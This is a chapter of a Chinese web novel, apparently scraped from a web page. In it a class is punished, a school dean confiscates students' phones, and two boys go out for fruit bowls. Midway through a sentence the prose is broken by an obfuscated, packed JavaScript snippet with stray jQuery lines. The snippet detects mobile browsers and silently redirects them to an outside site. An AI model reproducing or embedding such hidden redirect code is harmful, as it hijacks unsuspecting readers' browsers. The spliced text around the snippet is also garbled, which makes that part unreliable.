最终,郭娜娜也没上课,罚全班抄两百遍高一下的英语单词。
“你们抄不完我就不上课,”她敲着桌子,懒洋洋地靠在椅子上掏出手机,“马上就要高三了,你们自己看着办。”
班里人满眼怨气地掏出本子,有一搭没一搭抄着单词,左手却悄悄摸到了桌仓,点开了屏幕。
【咸鱼:家人们打算抄几遍?
刚谈恋爱好甜蜜:最多一单元
汤圆:不写
巧克力就要吃德fufu:我掏出本子已经很客气了】
阮知橙一边找出自己买的英语卷子标单词,一边瞄着屏幕。
【甜o:汤圆手咋样?我这有药膏给你传过去?
汤圆:万分感谢!
石头:神经病出院了!
黄毛帅哥:我靠!真是给她脸了!她脸咋那么大!
……】
群聊逐渐热闹起来。
突然,重重的啪嗒声落在讲桌。
众人一惊,抬头只见一个挺着啤酒肚,黑着脸的男人站在门口。
郭娜娜“唰”得起身:“方主任!您怎么来了?我这正在让学生默单词呢!”
“是吗?”
方主任站上讲台,冷脸扫过全班,伸出手指着监控。
“今天监控可是开着呢——带手机的全给我站起来!”
郭娜娜和班里一众人齐齐看向监控,均是变了脸色——
今天为什么会开?!
阮知橙手一顿,手机上的录音截然而止。
监控会开倒是出乎他的意料了。
“要是今天监控不开,都不知道你们猖狂成这个样子?!”方主任怒吼,“外面那个给我滚进来!”
乔朴闻声麻溜地钻进教室,表情要多乖有多乖,手上还捧着自己的手机。
“作为学生,染头发的,带手机的,玩手机的,”方主任眼尖,又快步走下讲台揪起一本书,“看小说的。”
黄元低声骂了句,后排的阮知橙了然,这应该是黄元借出去的小说。
“再说一遍!”方主任将书拍在讲桌上,“带手机的都给我站起来!”
话音刚落,阮知橙、路月在内的三十多人浩浩荡荡站了起来,还有些人打算藏着掖着,宁死不站。
方主任见状冷笑一声,下去揪人。
郭娜娜的脸色十分难看。
方主任转身:“郭老师,麻烦你去下我办公室了。”
说完,他扫视整个教室的学生。
不知道是不是阮知橙的错觉,方主任在他们的方向停留了片刻。
“马上就成年了,都有自己的主见,这很好,但是校有校规,你们既然犯了,就应该承担后果。每人两千字检讨,从明天开始,轮流去广播室在大课间和午读前念检讨。”
“路月,后面框拿来,前面的给我笔和纸,”方主任叫路月,深深看他一眼,“你是班长。”
路月垂下脑袋:“对不起,方老师。”
方主任摇了摇头,盯着站起来的同学上交手机。
路月在纸上先是写上了自己的名字,随后记录同学。
阮知橙深深看了眼他。
课后,高二十四班三十多个人带手机的事迅速传开。
与此同时,黎枫带着上官鹤和郭青山去了方主任办公室。
周一升旗仪式,方主任特地讲了上官鹤被诬陷作弊一事,一众熟悉上官鹤的人全都激动地带头鼓掌,而郭娜娜和郭青山也再没出现在学校过。
不过这都是后话了。
放学时,不等上官鹤和尤然两人问,阮知橙便大概讲了一遍课上郭娜娜乱讲话的事。
“开监控应该是为了期末考,”尤然面色淡然,“高三要根据期末考分班。”
“唉真可惜!我不用参加期末考!”上官鹤扬着嘴角,“爷要去国外了!”
阮知橙咳嗽一声,迅速捣了一拳上官鹤。
上官鹤顺着阮知橙的视线看去,只见路月面色不好。
见众人看他,路月回神:“我没事,我是在想手机的事。”
上官鹤不可置信道:“你手机也被收了?”
路月几乎从不在学校用手机,怎么会被方主任抓了?
这还不是关键问题,路月爸妈离婚不在家,他也只有一部手机,万一遇上什么事可怎么办?
想到这,上官鹤着急了,拉起路月的手准备跑:“现在商场还没关门还能买一部,快走!”
路月没动,摇了摇头,也不说话。
“收手机有什么好丢脸的?”
上官鹤安抚似的摸摸路月的脸,“正好我也换一个,咱们搞个情侣机~”
路月还有些迟疑,但上官鹤已经背起他的书包,拉着他就往外跑。
“橙子柚子,我们先走了!”
阮知橙摆手,拉起书包站在尤然面前:“看来今天只有我们两去尝新开的水果捞了。”
尤然看人:“不愿意和我去?”
“我和你去!”
阮知橙红了脸,心里默默打起小算盘,两个人在一起就是约会时间!
太阳落山,留下那微红而温柔的余晖洒在两个少年身上,为他们染上一层淡淡的金边。
他们穿过校园的林荫道,两旁的树木在微风中轻轻摇曳。
树叶繁杂,碎影间落。
巷子里的小摊早支了起来,香辣的串串味、甜美的糕点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307673|198726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
香、还有那无处不在的臭豆腐味,无时无刻不勾引着学生。
阮知橙慢了脚步,和尤然并排走进了水果捞店。
看着阮知橙两眼放光穿梭在一众水果配料中,尤然眼底一暖,心中咕噜咕噜泛起酸甜味的小气泡。
阮知橙念叨:“马蹄珠必须多一点,尤然你要嘛?”
尤然果断伸盒子,阮知橙掂量着尤然的食量,慎重地往里面舀。
他想了想,又加了几块尤然爱吃的哈密瓜。
“我们今天有原味酸奶、草莓酸奶、蓝莓酸奶,还有澡篮酸奶,”老板笑着介绍道,“同学你们要还有喜欢的口味可以告诉我们,我们会考虑出的。”
尤然看着阮知橙兴冲冲一勺一勺加着澡篮酸奶,无意提起。
“你之前做的也好喝。”
阮知橙将碗递给老板,脑海中闪过一个画面,脱口而出,“橙子酸奶?”
“我要讨债了,”尤然幽幽道,“你说要天天给我做的。”
阮知橙瞪大了眼。
尤然促狭地笑笑,欣赏着表情多变的阮知橙。
等老板报出价格后,阮知橙回神摸手机,却摸了个空。
“我来。”
尤然结完账,和两手提着保温袋的阮知橙回到路边,等着司机来接。
“幸好我还有一个备用机,”阮知橙惆怅,“虽然它耗电很快。”
尤然非常遗憾:“是呀,不然我们刚刚也要跟着上官鹤走了。”
“毕业后吧,”阮知橙望着尤然,“毕业后不是要买新电脑和手机吗?我们一起去看看。”
尤然看了他片刻,倏然笑出声。
“说第三遍了哦。”
阮知橙有些看呆,半晌,用小指悄悄勾住尤然,一抹绯色染上脸颊。
晚上写完作业后,阮知橙接到了上官鹤的电话。
“尤然生日你送什么?”
“还没想好,”一提起这个阮知橙就有些头痛,“你送什么?”
“送香水!”上官鹤骄傲道。
“过了十八岁,尤然可就是板上钉钉的惠科集团继承人了,没有配他身份的香水怎么行?”
阮知橙差点忘了这会事,一提起,他又想起了尤然的父亲尤霄。
“他啊,”上官鹤语气微妙,“尤霄最近犯病了,尤然打算把他送去我家投资的一疗养院。”
“嗯?”
阮知橙直起身子,怪不得最近阮爸不在家,而谢爸却没有任何不满。
“对哦我都忘了阮叔还给尤霄当私人医生,”上官鹤道,“这个先放放,我有个礼物建议你听不听?”
“什么?”阮知橙眼皮一跳。
“求婚。”